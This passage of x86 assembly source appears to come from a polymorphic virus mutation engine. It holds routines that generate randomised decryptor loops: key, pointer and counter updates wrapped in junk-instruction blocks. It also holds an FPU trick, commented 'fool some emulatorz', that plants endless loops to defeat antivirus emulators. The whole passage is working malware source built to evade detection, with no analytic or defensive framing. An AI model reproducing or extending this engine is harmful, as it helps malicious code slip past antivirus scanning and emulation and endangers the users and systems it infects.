je dd_askdjh
|
|||
|
xchg eax, ebx
|
|||
|
call iRndJunk
|
|||
|
dd_no_push:
|
|||
|
pop ecx
|
|||
|
pop eax
|
|||
|
|
|||
|
mov bl, ROR_SHIFT ; shift type ROR
|
|||
|
cmp al, ENC_ROR ; is it ROR?
|
|||
|
jz dd_enc_ror ; yes, skip
|
|||
|
dec ebx ; decrement shift type (ROL)
|
|||
|
dd_enc_ror:
|
|||
|
mov al, OPSIZE_32
|
|||
|
mov bh, SHIFT_CL
|
|||
|
xor ch, ch ; no SIB addressin'
|
|||
|
xor esi, esi
|
|||
|
call ciShiftRM
|
|||
|
|
|||
|
xchg eax, edx
|
|||
|
cmp al, PUSH_REG xor REG_ECX
|
|||
|
jnz dd_no_pop
|
|||
|
pop ebx
|
|||
|
push ebx
|
|||
|
and ebx, REG_EDI
|
|||
|
call iBlockJunkAR
|
|||
|
xor al, PUSH_REG xor POP_REG
|
|||
|
stosb
|
|||
|
dd_no_pop:
|
|||
|
|
|||
|
dd_exit: pop ebx ; pop code/ptr reg
|
|||
|
mov eax, ebx
|
|||
|
and al, MOD_REG
|
|||
|
xor al, MOD_REG
|
|||
|
jnz dd_not_save_reg
|
|||
|
and ebx, REG_EDI
|
|||
|
call iBlockJunkAR
|
|||
|
mov cl, [ebp.preg-idelta]
|
|||
|
mov bh, OPTYPE_MOV
|
|||
|
call rnd32
|
|||
|
and al, 02h
|
|||
|
add bh, al
|
|||
|
mov ax, OPSIZE_32 or (MEM_REG * 100h)
|
|||
|
xor ch, ch
|
|||
|
xor esi, esi
|
|||
|
call ciOpRMReg
|
|||
|
dd_not_save_reg:
|
|||
|
ret
|
|||
|
|
|||
|
iProcDecData endp
|
|||
|
|
|||
|
; increment key
|
|||
|
iProcIncKey proc
|
|||
|
mov edx, [ebp.KeyIncrement-idelta] ; load key increment
|
|||
|
call iGetJunkReg ; get random junk reg
|
|||
|
xchg eax, ecx
|
|||
|
mov ebx, ecx
|
|||
|
mov al, [ebp.KeyIncType-idelta] ; get key increment type
|
|||
|
mov bh, OPTYPE_ADD ; first assume ADD
|
|||
|
cmp al, KEY_DEC ; check if decrement key
|
|||
|
jnz pik_not_sub ; nope, ADD
|
|||
|
mov bh, OPTYPE_SUB ; yes, SUB
|
|||
|
pik_not_sub: ja pik_rotate ; > KEY_DEC: rotate!
|
|||
|
|
|||
|
call rnd32
|
|||
|
test al, 01h
|
|||
|
jz pik_direct ; don't load reg
|
|||
|
|
|||
|
push ebx
|
|||
|
call gLoadReg ; move key increment into reg
|
|||
|
pop ebx
|
|||
|
call iBlockJunkAR
|
|||
|
xor bl, MOD_REG
|
|||
|
mov cl, [ebp.kreg-idelta] ; get key reg
|
|||
|
xor ecx, 0FFFFFF00h xor MOD_REG
|
|||
|
push 02h
|
|||
|
call rnd32r
|
|||
|
test eax, eax
|
|||
|
jz pik_blah
|
|||
|
xchg bl, cl
|
|||
|
pik_blah:
|
|||
|
mov ah, al
|
|||
|
mov al, OPSIZE_32
|
|||
|
jmp ciOpRMReg ; create instruction
|
|||
|
pik_direct:
|
|||
|
mov al, OPSIZE_32
|
|||
|
mov bl, bh
|
|||
|
mov cl, [ebp.kreg-idelta]
|
|||
|
or ecx, 0FFFFFF00h xor MOD_REG
|
|||
|
|
|||
|
jmp ciOpRMImm
|
|||
|
|
|||
|
pik_rotate: xor bl, bl ; ROL shift
|
|||
|
cmp al, KEY_ROR
|
|||
|
jnz pik_not_ror
|
|||
|
inc ebx ; ROR shift
|
|||
|
|
|||
|
pik_not_ror: mov ah, dl
|
|||
|
and ah, 1Fh
|
|||
|
mov bh, SHIFT_IMM
|
|||
|
mov al, OPSIZE_32
|
|||
|
mov cl, [ebp.kreg-idelta]
|
|||
|
xor cl, MOD_REG
|
|||
|
call ciShiftRM
|
|||
|
ret
|
|||
|
iProcIncKey endp
|
|||
|
; increment pointer by 4
|
|||
|
iProcIncPtr proc
|
|||
|
push 04h ; we have 4 methods
|
|||
|
call rnd32r ; to do so
|
|||
|
mov cl, [ebp.preg-idelta]
|
|||
|
xor cl, MOD_REG ; pointer reg, of course
|
|||
|
push 04h
|
|||
|
pop edx ; mov edx, 4 (optimized :P)
|
|||
|
test al, al
|
|||
|
jnz pip_not_add
|
|||
|
mov bl, OPTYPE_ADD
|
|||
|
pip_not_add: cmp al, 01h
|
|||
|
jnz pip_not_sub
|
|||
|
neg edx
|
|||
|
mov bl, OPTYPE_SUB
|
|||
|
pip_not_sub: cmp al, 02h
|
|||
|
jnz pip_not_adc
|
|||
|
mov bl, OPTYPE_ADC
|
|||
|
dec edx
|
|||
|
mov byte ptr [edi], SET_CRY
|
|||
|
inc edi
|
|||
|
pip_not_adc: cmp al, 03h
|
|||
|
jnz pip_not_lea
|
|||
|
|
|||
|
; generate lea preg, [preg + 04h]
|
|||
|
mov byte ptr [edi], LOAD_EA
|
|||
|
inc edi
|
|||
|
and cl, REG_RND - 1
|
|||
|
mov bl, cl
|
|||
|
push esi
|
|||
|
xchg edx, esi
|
|||
|
xor ch, ch
|
|||
|
call ciCreateOperand
|
|||
|
pop esi
|
|||
|
ret
|
|||
|
pip_not_lea: mov al, OPSIZE_32
|
|||
|
jmp ciOpRMImm
|
|||
|
ret
|
|||
|
iProcIncPtr endp
|
|||
|
; decrement counter
|
|||
|
iProcDecCnt proc
|
|||
|
push 05h
|
|||
|
call rnd32r
|
|||
|
mov cl, [ebp.creg-idelta]
|
|||
|
or cl, MOD_REG
|
|||
|
xor edx, edx
|
|||
|
test al, al
|
|||
|
jnz pdc_not_dec
|
|||
|
|
|||
|
; generate DEC creg
|
|||
|
mov al, DEC_REG
|
|||
|
or al, [ebp.creg-idelta]
|
|||
|
stosb
|
|||
|
ret
|
|||
|
pdc_not_dec: cmp al, 01h
|
|||
|
jnz pdc_not_add_FF
|
|||
|
|
|||
|
; generate ADD creg, -1
|
|||
|
mov bl, OPTYPE_ADD
|
|||
|
dec edx
|
|||
|
pdc_not_add_FF: cmp al, 02h
|
|||
|
jnz pdc_not_sbb
|
|||
|
|
|||
|
; generate STC, SBB creg, 0
|
|||
|
mov byte ptr [edi], SET_CRY
|
|||
|
inc edi
|
|||
|
mov bl, OPTYPE_SBB
|
|||
|
|
|||
|
pdc_not_sbb: cmp al, 03h
|
|||
|
jnz pdc_not_lea
|
|||
|
; generate LEA creg, [creg - 1]
|
|||
|
|
|||
|
mov byte ptr [edi], LOAD_EA
|
|||
|
inc edi
|
|||
|
and cl, REG_RND - 1
|
|||
|
mov bl, cl
|
|||
|
push esi
|
|||
|
xor esi, esi
|
|||
|
dec esi
|
|||
|
xor ch, ch
|
|||
|
call ciCreateOperand
|
|||
|
pop esi
|
|||
|
ret
|
|||
|
|
|||
|
pdc_not_lea: cmp al, 04h
|
|||
|
jnz pdc_not_sub
|
|||
|
; generate SUB creg, 1
|
|||
|
mov bl, OPTYPE_SUB
|
|||
|
inc edx
|
|||
|
|
|||
|
pdc_not_sub: mov al, OPSIZE_32
|
|||
|
jmp ciOpRMImm
|
|||
|
iProcDecCnt endp
|
|||
|
|
|||
|
; fool some emulatorz
|
|||
|
iProcFPUFool proc
|
|||
|
|
|||
|
; initialize FPU
|
|||
|
mov eax, FPU_WAIT or (FPU_INIT * 100h) or 'X' * 1000000h
|
|||
|
stosd
|
|||
|
dec edi
|
|||
|
|
|||
|
; choose random address to store result
|
|||
|
call iGetWrMem
|
|||
|
push GF_METHCNT ; choose between 4 methods
|
|||
|
call rnd32r
|
|||
|
push eax
|
|||
|
inc eax
|
|||
|
mov edx, eax
|
|||
|
|
|||
|
; store initial value in memory
|
|||
|
mov al, OPSIZE_32
|
|||
|
mov bl, OPTYPE_MOV
|
|||
|
call ciOpRMImm
|
|||
|
|
|||
|
call iRndRegJ
|
|||
|
|
|||
|
; load dword from address into fpu register
|
|||
|
call rnd32
|
|||
|
and al, FPU_WORD_LDST
|
|||
|
or al, FPU_INT_LDST
|
|||
|
mov bl, FPU_LOAD
|
|||
|
stosb
|
|||
|
call ciCreateOperand
|
|||
|
|
|||
|
; calculate address of method and execute it!
|
|||
|
pop eax
|
|||
|
push eax
|
|||
|
mov ebx, [ebp.gf_methods-idelta+4*eax]
|
|||
|
add ebx, ebp
|
|||
|
call ebx
|
|||
|
|
|||
|
; write back dword from st(0)
|
|||
|
call iGetWrMem
|
|||
|
call rnd32
|
|||
|
and al, FPU_WORD_LDST xor FPU_INT_LDST
|
|||
|
xor al, FPU_INT_LDST
|
|||
|
mov bl, FPU_STORE
|
|||
|
stosb
|
|||
|
call ciCreateOperand
|
|||
|
call iRndRegJ
|
|||
|
|
|||
|
; check returned value of FPU instructions.
|
|||
|
|
|||
|
pop eax
|
|||
|
push edi ; label1 in ECX (see below)
|
|||
|
movzx edx, byte ptr [ebp.gf_rslt_table-idelta+eax]
|
|||
|
push 03h
|
|||
|
call rnd32r
|
|||
|
add al, OPTYPE_SUB ; SUB, CMP or XOR
|
|||
|
xchg eax, ebx
|
|||
|
xor al, al
|
|||
|
push edi
|
|||
|
call ciOpRMImm
|
|||
|
|
|||
|
; if not equal, generate endless loop (fuck some emulatorz)
|
|||
|
|
|||
|
; generate JZ or JNZ
|
|||
|
pop ebx
|
|||
|
pop ecx
|
|||
|
mov al, ah ; get another random byte
|
|||
|
test al, 40h
|
|||
|
jnz gf_as1 ; not zero, jump after junk
|
|||
|
xchg ecx, ebx
|
|||
|
gf_as1:
|
|||
|
|
|||
|
call rnd32 ; random dword
|
|||
|
and al, 01h
|
|||
|
jz gf_el1 ; zero, generate JZ
|
|||
|
|
|||
|
; jump back before compare instruction or afta
|
|||
|
;
|
|||
|
; label1: <access mem junk>
|
|||
|
; label2: CMP/SUB/XOR
|
|||
|
; JNZ label2/label3
|
|||
|
|
|||
|
xchg eax, ecx
|
|||
|
mov byte ptr [edi], JMPC_SHORT xor COND_NZ
|
|||
|
inc edi
|
|||
|
sub eax, edi ; calculate relative offset
|
|||
|
dec eax ; we need to dec rel
|
|||
|
stosb ; write relative jmp offset
|
|||
|
ret
|
|||
|
|
|||
|
gf_el1:
|
|||
|
;
|
|||
|
; JZ label2/label3
|
|||
|
; label1: <junk>
|
|||
|
; JMP label1
|
|||
|
; label2: <junk>
|
|||
|
; label3:
|
|||
|
;
|
|||
|
xchg eax, ecx
|
|||
|
mov byte ptr [edi], JMPC_SHORT xor COND_Z
|
|||
|
inc edi
|
|||
|
push edi
|
|||
|
inc edi
|
|||
|
call iBlockJunk
|
|||
|
mov byte ptr [edi], JMP_SHORT
|
|||
|
inc edi
|
|||
|
sub eax, edi
|
|||
|
dec eax
|
|||
|
stosb
|
|||
|
push edi
|
|||
|
call iBlockJunk
|
|||
|
mov ebx, edi
|
|||
|
pop ecx
|
|||
|
mov al, ah ; get another random byte
|
|||
|
test al, 20h
|
|||
|
jnz gf_as2
|
|||
|
xchg ecx, ebx
|
|||
|
gf_as2: xchg eax, ecx
|
|||
|
pop eax
|
|||
|
neg eax
|
|||
|
lea ebx, [edi+eax-01]
|
|||
|
neg eax
|
|||
|
mov [eax], bl
|
|||
|
|
|||
|
gf_xit:
|
|||
|
ret
|
|||
|
|
|||
|
gf_rslt_table db 03h, 07h, 02h, 00h
|
|||
|
|
|||
|
gf_meth1: call rnd32
|
|||
|
and al, 01h
|
|||
|
jz gf_meth11
|
|||
|
mov ax, FPU_LDPI
|
|||
|
stosw
|
|||
|
call iBlockJunk
|
|||
|
mov al, FPU_WORD_OP
|
|||
|
stosb
|
|||
|
mov bl, FPU_MULP
|
|||
|
gf_meth1e: mov cl, REG_ST1 or MOD_REG
|
|||
|
jmp ciCreateOperand
|
|||
|
|
|||
|
gf_meth11: mov ax, FPU_LDLG2
|
|||
|
stosw
|
|||
|
call iBlockJunk
|
|||
|
mov al, FPU_WORD_OP
|
|||
|
stosb
|
|||
|
mov bl, FPU_DIVP
|
|||
|
jmp gf_meth1e
|
|||
|
|
|||
|
gf_meth2: mov ax, FPU_LDL2T
|
|||
|
stosw
|
|||
|
call iBlockJunk
|
|||
|
mov al, FPU_DWORD_OP
|
|||
|
stosb
|
|||
|
mov bl, FPU_MUL
|
|||
|
mov cl, REG_ST1 or MOD_REG
|
|||
|
jmp ciCreateOperand
|
|||
|
|
|||
|
|
|||
|
gf_meth3: mov ax, FPU_LDLN2
|
|||
|
stosw
|
|||
|
call iBlockJunk
|
|||
|
mov ax, FPU_SQRT
|
|||
|
stosw
|
|||
|
mov al, FPU_QWORD_OP
|
|||
|
stosb
|
|||
|
mov bl, FPU_MUL
|
|||
|
mov cl, REG_ST1 or MOD_REG
|
|||
|
call ciCreateOperand
|
|||
|
mov ax, FPU_DWORD_LDST or (100h * (MOD_REG xor 09h))
|
|||
|
stosw
|
|||
|
ret
|
|||
|
|
|||
|
gf_methods equ $
|
|||
|
dd offset gf_meth1-idelta
|
|||
|
dd offset gf_meth2-idelta
|
|||
|
dd offset gf_meth3-idelta
|
|||
|
GF_METHCNT equ 3
|
|||
|
iProcFPUFool endp
|
|||
|
; main procedure: generate 1-3 different junk blockz
|
|||
|
iProcJunk proc
|
|||
|
push ecx ; preserve counter
|
|||
|
push 03h ; get random number between 0 and 4
|
|||
|
call rnd32r
|
|||
|
inc eax ; add 1 (1 - 3)
|
|||
|
xchg eax, ecx ; load into counter
|
|||
|
call iBlockJunk ; generate junk blocks
|
|||
|
loop $ - 05h
|
|||
|
pop ecx ; restore counter
|
|||
|
ret
|
|||
|
iProcJunk endp
|
|||
|
; main procedure: generate 1 junk block
|
|||
|
iBlockJunk proc
|
|||
|
mov bl, 08h
|
|||
|
iBlockJunkAR: ; avoid register in ebx
|
|||
|
test byte ptr [ebp.nojunk-idelta], 0FFh
|
|||
|
jz bj_sueder
|
|||
|
ret
|
|||
|
bj_sueder:
|
|||
|
pushad
|
|||
|
push BJ_BLOCKCNT ; choose between multiple methods
|
|||
|
call rnd32r
|
|||
|
mov edx, [ebp.bj_blockz-idelta+4*eax] ; get address of
|
|||
|
add edx, ebp ; method procedure & relocate
|
|||
|
bj_nxtr: call iGetJunkReg ; get a junk reg
|
|||
|
cmp al, bl ; test if we shouldn't touch it
|
|||
|
je bj_nxtr ; yes, get another junk reg
|
|||
|
xchg ebx, eax ; junk reg in EAX
|
|||
|
call edx ; execute method
|
|||
|
mov [esp], edi
|
|||
|
popad
|
|||
|
ret
|
|||
|
|
|||
|
; junk block 1:
|
|||
|
; 1. <compare/sub register/memory with constant>
|
|||
|
; 2. <conditional jump to 4.>
|
|||
|
; 3. <2 - 4 junk instructions>
|
|||
|
; 4.
|
|||
|
bj_block1: push ebx ; save register 4 l8er use
|
|||
|
mov dh, bl
|
|||
|
mov bl, OPTYPE_SUB
|
|||
|
call rnd32 ; get random number
|
|||
|
and al, 02h ; 0/2
|
|||
|
add bl, al ; OPTYPE_SUB + 2 = OPTYPE_CMP
|
|||
|
call rnd32
|
|||
|
and al, 01h
|
|||
|
mov dl, al ; dl = 0/1 (reg/junk)
|
|||
|
test dl, dl
|
|||
|
jz bj_b1_nreg1
|
|||
|
call rnd32
|
|||
|
and al, REG_EDI ; 00000xxx random reg
|
|||
|
xor al, MOD_REG ; 11000xxx set reg bits
|
|||
|
xchg eax, ecx
|
|||
|
jmp bj_b1_nmem1
|
|||
|
bj_b1_nreg1: call iGetMemory ; get readable memory
|
|||
|
bj_b1_nmem1: cmp bl, OPTYPE_SUB ; if not SUB, get read only
|
|||
|
jnz bj_b1_nro ; register or memory
|
|||
|
test dl, dl
|
|||
|
jz bj_b1_nreg2
|
|||
|
mov cl, dh ; writeable register
|
|||
|
xor ecx, 0FFFFFF00h xor MOD_REG
|
|||
|
jmp bj_b1_nro
|
|||
|
bj_b1_nreg2: call iGetWrMem
|
|||
|
bj_b1_nro: mov al, bl
|
|||
|
xor al, MOD_REG
|
|||
|
test al, MOD_REG
|
|||
|
jz bj_b1_regalign
|
|||
|
call iOpSizeMem
|
|||
|
jmp bj_b1_blah
|
|||
|
bj_b1_regalign: call iOpSizeReg
|
|||
|
bj_b1_blah: push eax
|
|||
|
call rnd32
|
|||
|
xchg eax, edx
|
|||
|
call rnd32
|
|||
|
test al, 01h
|
|||
|
jz bj_b1_akldf
|
|||
|
movsx edx, dl
|
|||
|
bj_b1_akldf: pop eax
|
|||
|
call ciOpRMImm
|
|||
|
pop ebx
|
|||
|
call rnd32
|
|||
|
and al, 0Fh ; get random conditional jump type
|
|||
|
xor al, JMPC_SHORT ; make jump opcode
|
|||
|
stosb ; store it
|
|||
|
push edi ; push address of immediate
|
|||
|
stosb ; store placeholder byte
|
|||
|
call iRndJunk ; make some junk
|
|||
|
pop eax
|
|||
|
not eax
|
|||
|
lea ebx, [edi+eax] ; relative address
|
|||
|
not eax
|
|||
|
mov [eax], bl ; store relative jump address
|
|||
|
ret
|
|||
|
; junk block 2:
|
|||
|
; 1. <push junk>
|
|||
|
; 2. <2 - 4 junk instructions>
|
|||
|
; 3. <pop junk>
|
|||
|
bj_block2: call iPushJunk
|
|||
|
call iRndJunk ; make some junk
|
|||
|
jmp iPopJunk
|
|||
|
|
|||
|
bj_block3: call rnd32 ; generate STC/CLC/STD/CLD
|
|||
|
and al, 05h
|
|||
|
xor al, 0F8h
|
|||
|
stosb
|
|||
|
jmp iRndJunk
|
|||
|
|
|||
|
bj_blockz equ $
|
|||
|
dd offset bj_block1 - idelta
|
|||
|
dd offset bj_block2 - idelta
|
|||
|
dd offset bj_block3 - idelta
|
|||
|
dd offset iRndJunk - idelta
|
|||
|
dd offset iRndJunk - idelta
|
|||
|
BJ_BLOCKCNT equ 05h
|
|||
|
iBlockJunk endp
|
|||
|
|
|||
|
; writes two to four random junk instruction (reg or mem)
|
|||
|
iRndJunk proc
|
|||
|
pushad
|
|||
|
push 03h
|
|||
|
call rnd32r
|
|||
|
inc eax
|
|||
|
inc eax
|
|||
|
xchg eax, ecx
|
|||
|
rndj_loop: push JUNKGEN_CNT
|
|||
|
call rnd32r
|
|||
|
mov eax, [ebp.JunkGen-idelta+4*eax]
|
|||
|
add eax, ebp
|
|||
|
push ecx
|
|||
|
push ebx
|
|||
|
call eax
|
|||
|
pop ebx
|
|||
|
pop ecx
|
|||
|
loop rndj_loop
|
|||
|
mov [esp], edi
|
|||
|
popad
|
|||
|
ret
|
|||
|
iRndJunk endp
|
|||
|
; generates one junk instruction with the register in ebx (the register
|
|||
|
; isn't overwritten some times)
|
|||
|
; ebx = register
|
|||
|
iRegJunk proc
|
|||
|
push RJ_METHCNT
|
|||
|
call rnd32r
|
|||
|
mov ecx, [ebp.rj_methods-idelta+4*eax]
|
|||
|
add ecx, ebp
|
|||
|
call iOpSizeReg
|
|||
|
jmp ecx
|
|||
|
|
|||
|
; method 1: immediate operation on register
|
|||
|
rj_meth1: push eax
|
|||
|
mov ecx, ebx
|
|||
|
xor ecx, 0FFFFFF00h xor MOD_REG
|
|||
|
push OPTYPE_MOV + 3
|
|||
|
call rnd32r
|
|||
|
cmp al, OPTYPE_MOV + 1
|
|||
|
jb rj_m1_nmov
|
|||
|
mov al, OPTYPE_MOV
|
|||
|
rj_m1_nmov:
|
|||
|
xchg eax, ebx
|
|||
|
call rnd32
|
|||
|
xchg eax, edx
|
|||
|
call rnd32
|
|||
|
test al, 0Ch
|
|||
|
jz rj_m1_nsx
|
|||
|
movsx edx, dl
|
|||
|
rj_m1_nsx: pop eax
|
|||
|
rj_m1_nrc: jmp ciOpRMImm
|
|||
|
|
|||
|
; method 2: operation with mem on register
|
|||
|
rj_meth2: push eax
|
|||
|
call iGetMemory
|
|||
|
push OPTYPE_MOV + 3 ; we don't want to XCHG
|
|||
|
call rnd32r ; get random operation type
|
|||
|
cmp al, OPTYPE_MOV + 1
|
|||
|
jb rj_m2_nmov
|
|||
|
mov al, OPTYPE_MOV
|
|||
|
rj_m2_nmov:
|
|||
|
mov bh, al
|
|||
|
pop eax
|
|||
|
mov ah, REG_MEM
|
|||
|
jmp ciOpRMReg
|
|||
|
|
|||
|
; method 3: operation with reg on register
|
|||
|
rj_meth3:
|
|||
|
push eax
|
|||
|
rj_m3_asd: call rnd32
|
|||
|
and al, REG_EDI
|
|||
|
cmp al, bl
|
|||
|
je rj_m3_asd
|
|||
|
xor al, MOD_REG
|
|||
|
xor bl, MOD_REG
|
|||
|
xchg eax, ecx
|
|||
|
call rnd32
|
|||
|
and al, 01h
|
|||
|
jnz rj_m3_nxchg
|
|||
|
xchg bl, cl
|
|||
|
rj_m3_nxchg: xchg eax, edx
|
|||
|
push OPTYPE_MOV + 3
|
|||
|
call rnd32r
|
|||
|
cmp al, OPTYPE_MOV + 1
|
|||
|
jb rj_m3_nmov
|
|||
|
mov al, OPTYPE_MOV
|
|||
|
rj_m3_nmov: mov bh, al
|
|||
|
pop eax
|
|||
|
mov ah, dl
|
|||
|
jmp ciOpRMReg
|
|||
|
|
|||
|
; method 4: shift register
|
|||
|
rj_meth4: xchg eax, ebx
|
|||
|
or al, MOD_REG
|
|||
|
xchg eax, ecx
|
|||
|
push ebx
|
|||
|
push RND_SHIFT
|
|||
|
call rnd32r
|
|||
|
xchg eax, ebx
|
|||
|
push SHIFT_RND
|
|||
|
call rnd32r
|
|||
|
mov bh, al
|
|||
|
call rnd32
|
|||
|
and al, 1Fh
|
|||
|
xchg eax, edx
|
|||
|
pop eax
|
|||
|
cmp al, OPSIZE_16
|
|||
|
jne rj_m4_blah1
|
|||
|
and dl, 0Fh
|
|||
|
rj_m4_blah1: cmp al, OPSIZE_8
|
|||
|
jne rj_m4_blah2
|
|||
|
and dl, 07h
|
|||
|
rj_m4_blah2:
|
|||
|
mov ah, dl
|
|||
|
jmp ciShiftRM
|
|||
|
|
|||
|
; method 5: movzx/movsx register, reg
|
|||
|
rj_meth5: test al, al
|
|||
|
jnz rj_m5_ok
|
|||
|
inc eax
|
|||
|
and bl, not 04h
|
|||
|
rj_m5_ok: mov dl, MOVX_WORD xor MOVX_SX
|
|||
|
test al, 02h
|
|||
|
jz rj_m5_nprefix
|
|||
|
mov byte ptr [edi], OPERAND_SIZE
|
|||
|
inc edi
|
|||
|
mov dl, MOVX_SX
|
|||
|
rj_m5_nprefix: mov byte ptr [edi], ESC_2BYTE
|
|||
|
inc edi
|
|||
|
call rnd32
|
|||
|
and al, dl
|
|||
|
xor al, MOVX
|
|||
|
stosb
|
|||
|
call rnd32
|
|||
|
and al, REG_EDI
|
|||
|
shl ebx, 03h
|
|||
|
xor eax, ebx
|
|||
|
xor al, MOD_REG
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
; method 6: inc/dec register
|
|||
|
rj_meth6: push eax
|
|||
|
call rnd32
|
|||
|
and al, 01h
|
|||
|
xchg eax, edx ; BL = 0 [INC] BL = 1 [DEC]
|
|||
|
pop eax
|
|||
|
test al, al
|
|||
|
jnz rj_m6_n8
|
|||
|
mov byte ptr [edi], INCDEC_GROUP
|
|||
|
inc edi
|
|||
|
xchg eax, edx
|
|||
|
shl eax, 03h
|
|||
|
xor al, MOD_REG
|
|||
|
xor al, bl
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
rj_m6_n8: test al, 02h
|
|||
|
jz rj_m6_noprefix
|
|||
|
mov byte ptr [edi], OPERAND_SIZE
|
|||
|
inc edi
|
|||
|
rj_m6_noprefix: xchg eax, edx
|
|||
|
shl eax, 03h
|
|||
|
xor al, INC_REG
|
|||
|
xor al, bl
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
rj_methods equ $
|
|||
|
dd offset rj_meth1 - idelta
|
|||
|
dd offset rj_meth2 - idelta
|
|||
|
dd offset rj_meth3 - idelta
|
|||
|
dd offset rj_meth4 - idelta
|
|||
|
dd offset rj_meth5 - idelta
|
|||
|
dd offset rj_meth6 - idelta
|
|||
|
RJ_METHCNT equ 06h
|
|||
|
iRegJunk endp
|
|||
|
|
|||
|
; write 2 - 4 register junk instructions
|
|||
|
iRndRegJ proc
|
|||
|
pushad
|
|||
|
push 03h
|
|||
|
call rnd32r
|
|||
|
inc eax
|
|||
|
inc eax
|
|||
|
xchg eax, ecx
|
|||
|
call iGetJunkReg
|
|||
|
xchg eax, ebx
|
|||
|
irrj_loop: push ecx ebx
|
|||
|
call iRegJunk
|
|||
|
pop ebx ecx
|
|||
|
loop irrj_loop
|
|||
|
mov [esp], edi
|
|||
|
popad
|
|||
|
ret
|
|||
|
iRndRegJ endp
|
|||
|
|
|||
|
; memory junk generator
|
|||
|
iMemJunk proc
|
|||
|
push MJ_METHCNT
|
|||
|
call rnd32r
|
|||
|
mov edx, [ebp.mj_methods-idelta+4*eax]
|
|||
|
add edx, ebp
|
|||
|
push OPSIZE_16 + 1
|
|||
|
call rnd32r
|
|||
|
call iGetWrMem
|
|||
|
jmp edx
|
|||
|
|
|||
|
; immediate operation on memory
|
|||
|
mj_meth1: push eax
|
|||
|
push OPTYPE_MOV + 3
|
|||
|
call rnd32r
|
|||
|
cmp al, OPTYPE_MOV + 1
|
|||
|
jb mj_m1_nmov
|
|||
|
mov al, OPTYPE_MOV
|
|||
|
mj_m1_nmov: xchg eax, ebx
|
|||
|
call rnd32
|
|||
|
xchg eax, edx
|
|||
|
call rnd32
|
|||
|
test al, 0Ch
|
|||
|
jz mj_m1_nsx
|
|||
|
movsx edx, dl
|
|||
|
mj_m1_nsx: pop eax
|
|||
|
mj_m1_nrc: jmp ciOpRMImm
|
|||
|
|
|||
|
; register operation on memory
|
|||
|
|
|||
|
mj_meth2: push eax
|
|||
|
push OPTYPE_MOV + 3
|
|||
|
call rnd32r
|
|||
|
cmp al, OPTYPE_MOV + 1
|
|||
|
jb mj_m2_nmov
|
|||
|
mov al, OPTYPE_MOV
|
|||
|
mj_m2_nmov: mov bh, al
|
|||
|
|
|||
|
call rnd32
|
|||
|
test ah, 01h
|
|||
|
jz mj_m2_rndreg
|
|||
|
and al, REG_EDI
|
|||
|
mov bl, al
|
|||
|
mj_m2_rndreg: pop eax
|
|||
|
xor ah, ah ; MEM_REG
|
|||
|
jmp ciOpRMReg
|
|||
|
|
|||
|
; shift operation on memory
|
|||
|
mj_meth3: push eax
|
|||
|
push RND_SHIFT
|
|||
|
call rnd32r
|
|||
|
xchg ebx, eax
|
|||
|
push SHIFT_RND
|
|||
|
call rnd32r
|
|||
|
mov bh, al
|
|||
|
call rnd32
|
|||
|
xchg eax, edx
|
|||
|
pop eax
|
|||
|
mov ah, dl
|
|||
|
jmp ciShiftRM
|
|||
|
|
|||
|
mj_methods equ $
|
|||
|
dd offset mj_meth1 - idelta
|
|||
|
dd offset mj_meth2 - idelta
|
|||
|
dd offset mj_meth3 - idelta
|
|||
|
MJ_METHCNT equ 03h
|
|||
|
iMemJunk endp
|
|||
|
; input: bl = register
|
|||
|
; output: al = operand size, bl = register
|
|||
|
iOpSizeReg proc
|
|||
|
push OPSIZE_16 + 1
|
|||
|
call rnd32r
|
|||
|
test al, al
|
|||
|
jnz cr_nop
|
|||
|
cmp bl, REG_ESP
|
|||
|
jnb iOpSizeReg
|
|||
|
push eax
|
|||
|
call rnd32
|
|||
|
and al, 04h
|
|||
|
xor bl, al
|
|||
|
pop eax
|
|||
|
cr_nop: ret
|
|||
|
iOpSizeReg endp
|
|||
|
; input: cx, esi = memory
|
|||
|
; output: al = operand size, cx, esi = memory
|
|||
|
iOpSizeMem proc
|
|||
|
push OPSIZE_16 + 1
|
|||
|
call rnd32r
|
|||
|
ret
|
|||
|
iOpSizeMem endp
|
|||
|
|
|||
|
; gets random register, parameter or junk memory operand
|
|||
|
iGetMemory proc
|
|||
|
push eax
|
|||
|
gm_rep: xor eax, eax
|
|||
|
mov al, GM_METHCNT2
|
|||
|
cmp byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA
|
|||
|
jb gm_push
|
|||
|
inc eax
|
|||
|
inc eax
|
|||
|
gm_push: sub al, [ebp.InLoop-idelta]
|
|||
|
push eax
|
|||
|
call rnd32r
|
|||
|
add al, [ebp.InLoop-idelta]
|
|||
|
mov eax, [ebp.gm_methods-idelta+4*eax]
|
|||
|
add eax, ebp
|
|||
|
call eax
|
|||
|
pop eax
|
|||
|
ret
|
|||
|
|
|||
|
; get random parameter
|
|||
|
gm_meth1: movzx eax, byte ptr [ebp.CurrentProc-idelta]
|
|||
|
mov al, [ebp.ProcParameters-idelta+eax] ; parameter count
|
|||
|
test eax, eax
|
|||
|
jz gm_m1_ebp ; if no parameter, don't use this method
|
|||
|
push eax
|
|||
|
call rnd32r ; choose random parameter
|
|||
|
shl eax, 02h ; scale to dword
|
|||
|
add al, 08h ; first dword is return address
|
|||
|
mov esi, eax ; the displacement
|
|||
|
mov cx, REG_EBP ; relative to EBP
|
|||
|
ret
|
|||
|
gm_m1_ebp: mov cl, REG_EBP xor MOD_REG
|
|||
|
ret
|
|||
|
|
|||
|
; get random junk mem
|
|||
|
gm_meth2: mov eax, [ebp.JunkSpSize-idelta] ; access a random dword
|
|||
|
shl eax, 02h
|
|||
|
dec eax
|
|||
|
dec eax
|
|||
|
dec eax
|
|||
|
push eax
|
|||
|
call rnd32r ; from junk memory
|
|||
|
add eax, [ebp.JunkSpRVA-idelta] ; add start rva
|
|||
|
xchg eax, esi
|
|||
|
mov cx, MOD_DIRECT ; return a direct address
|
|||
|
ret
|
|||
|
|
|||
|
; get random encrypted data
|
|||
|
gm_meth3: mov eax, [ebp.CryptSize-idelta]
|
|||
|
shl eax, 02h
|
|||
|
dec eax
|
|||
|
dec eax
|
|||
|
dec eax
|
|||
|
push eax
|
|||
|
call rnd32r
|
|||
|
add eax, [ebp.DecryptRVA-idelta]
|
|||
|
xchg eax, esi
|
|||
|
mov cx, MOD_DIRECT
|
|||
|
ret
|
|||
|
|
|||
|
; get encrypted data (RVA + 1/2/4*counter)
|
|||
|
